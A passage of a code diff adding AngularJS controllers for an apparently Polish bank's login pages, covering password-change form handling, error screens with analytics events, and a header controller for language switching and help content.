+ $scope.sendPassword = function($event) {
110
+ if ($event.keyCode === 13 && !requestSent) {
111
+ $rootScope.$broadcast('startButtonLoader');
112
+ $scope.proceed();
113
+ }
114
+ };
115
+
116
+ function isRepeatCorrect() {
117
+ return $scope.formData.newPassword == $scope.formData.repeatPassword;
118
+ }
119
+
120
+ function arePolicyRulesFullfilled() {
121
+ return securityPolicyService.checkSecurityPolicyRules($scope.formData.newPassword);
122
+ }
123
+
124
+ function mapPasswordStrengthLabel(passwordStrength) {
125
+ if (passwordStrength < WEAK_PASS_TRESHOLD) {
126
+ return 'PASSWORD_STRENGTH.WEAK';
127
+ } else if (passwordStrength < MEDIUM_PASS_TRESHOLD) {
128
+ return 'PASSWORD_STRENGTH.MEDIUM';
129
+ } else {
130
+ return 'PASSWORD_STRENGTH.STRONG';
131
+ }
132
+ }
133
+
134
+ function updateIndicatorPosition(passwordStrength) {
135
+ dotPosition = Math.min(passwordStrength * SLIDER_WIDTH, SLIDER_WIDTH - DOT_WIDTH);
136
+ $('#passwordStrengthIndicator').css('left', dotPosition + 'px');
137
+
138
+ $timeout(function() {
139
+ var labelWidth = $('#passwordStrengthLabel').prop('offsetWidth');
140
+ var labelPosition = Math.max((dotPosition + DOT_WIDTH / 2) - labelWidth / 2, 0);
141
+ labelPosition = Math.min(labelPosition, SLIDER_WIDTH - labelWidth);
142
+ $('#passwordStrengthLabel').css('left', labelPosition + 'px');
143
+ }, 10);
144
+ }
145
+
146
+ function focusPasswordInput(inputId) {
147
+ if (!inputId) {
148
+ inputId = 'password-input';
149
+ }
150
+ var inputElement = document.getElementById(inputId);
151
+ if (inputElement) {
152
+ inputElement.focus();
153
+ }
154
+ }
155
+
156
+ $scope.$on('$languageChanged', function() {
157
+ focusPasswordInput('password-input');
158
+ });
159
+
160
+ focusPasswordInput('password-input');
161
+ }
162
+ ]);
@@ -0,0 +1,9 @@
1
+ loginApp.controller('CustomErrorCtrl', ['$scope', '$state', '$stateParams', function($scope, $state, $stateParams) {
2
+
3
+ $scope.errors = $stateParams.errors;
4
+
5
+ $scope.proceed = function() {
6
+ gemius_event('_action_', getGemiusID(), 'miejsce=ekrany_logowania_blad_logowania', 'button=powrot_do_logowania', 'metoda=onclick');
7
+ $state.go('alias');
8
+ };
9
+ }]);
@@ -0,0 +1,30 @@
1
+ loginApp.controller('ErrorCtrl', ['$scope', '$state', '$http', 'loginService', function($scope, $state, $http, loginService) {
2
+
3
+ getLoginErrorDictionary();
4
+
5
+ $scope.proceed = function() {
6
+ gemius_event('_action_', getGemiusID(), 'miejsce=ekrany_logowania_blad_logowania', 'button=powrot_do_logowania', 'metoda=onclick');
7
+ if (loginService.isPsd2ConsentLogin()) {
8
+ $state.go('psd2Alias', {
9
+ psd2SessionId: loginService.getPsd2LoginSessionId()
10
+ });
11
+ } else {
12
+ $state.go('alias');
13
+ }
14
+ };
15
+
16
+ function getLoginErrorDictionary() {
17
+ $http.get('../json/login/getLoginErrorDictionary', {
18
+ params: {
19
+ 'selectedLang': $scope.selectedLang
20
+ }
21
+ }).then(function(response) {
22
+ $scope.loginErrorHeader = response.data['LOGIN_ERROR_HEADER_BBCODE'];
23
+ $scope.loginErrorFooter = response.data['LOGIN_ERROR_FOOTER_BBCODE'];
24
+ });
25
+ }
26
+
27
+ $scope.$on('$languageChanged', function() {
28
+ getLoginErrorDictionary();
29
+ });
30
+ }]);
@@ -0,0 +1,84 @@
1
+ 'use strict';
2
+
3
+ loginApp.controller('HeaderCtrl', ['$rootScope', '$scope', '$translate', '$state', '$http', '$sce', '$q', 'tabletScalingService', 'criticalMessageService', 'loginService',
4
+ function($rootScope, $scope, $translate, $state, $http, $sce, $q, tabletScalingService, criticalMessageService, loginService) {
5
+ $scope.selectedLang = 'pl';
6
+ var cookieLangName = 'cibLang';
7
+ var helpContent = {};
8
+
9
+ init();
10
+
11
+ $scope.changeLang = function(key) {
12
+ if (!$scope.isLang(key)) {
13
+ $translate.use(key);
14
+ $scope.selectedLang = key;
15
+ loginService.addCookie(cookieLangName, $scope.selectedLang === 'en' ? '1' : '0');
16
+ prepareStaticWebContextWithLanguage(true);
17
+ }
18
+ };
19
+
20
+ $scope.isLang = function(key) {
21
+ return $scope.selectedLang === key;
22
+ };
23
+
24
+ $scope.getHelpContent = function() {
25
+ return helpContent[$scope.selectedLang];
26
+ };
27
+
28
+ $scope.sanitizeContent = function(content) {
29
+ return $sce.trustAsHtml(content);
30
+ };
31
+
32
+ function init() {
33
+ $scope.selectedLang = handleLangCookie();
34
+ $translate.use($scope.selectedLang);
35
+ $http.post('../json/login/initSession', null).then(function() {
36
+ $http.get('../json/login/helpContent').then(function(response) {
37
+ helpContent = response.data;
38
+ });
39
+
40
+ criticalMessageService.getCriticalMessage($scope.selectedLang);
41
+ prepareStaticWebContextWithLanguage();
42
+ });
43
+ }
44
+
45
+ $scope.$on('$languageChanged', function() {
46
+ criticalMessageService.getCriticalMessage($scope.selectedLang);
47
+ });
48
+
49
+ function handleLangCookie() {
50
+ var langCookie = loginService.getCookie(cookieLangName);
51
+ return langCookie === '1' ? "en" : 'pl';
52
+ }
53
+
54
+ function prepareStaticWebContextWithLanguage(languageChanged) {
55
+
56
+ $http.get('../json/login/getContextStep0', {
57
+ params: {
58
+ 'selectedLang': $scope.selectedLang
59
+ }
60
+ }).then(function(result) {
61
+ if (languageChanged) {
62
+ $rootScope.$broadcast('$languageChanged', $scope.selectedLang);
63
+ }
64
+ }, function(error) {});
65
+ }
66
+
67
+ $scope.toggleView = function(type) {
68
+ if (type === 'desktop') {
69
+ if ($('.footer-top').hasClass('desktop-hide')) {
70
+ $('.footer-top').removeClass('desktop-hide');
71
+ }
72
+ }
73
+ var oldType = type === 'tablet' ? 'desktop' : 'tablet';
74
+ $('body').removeClass(oldType).addClass(type);
75
+ };
76
+
77
+ if ('tablet' === $rootScope.userAgentResolverService.getDeviceType()) {
78
+ tabletScalingService.screenScaling();
79
+ $(window).resize(function() {
80
+ setTimeout(tabletScalingService.screenScaling, 100);
81
+ });
82
+ }
83
+ }
84
+ ]);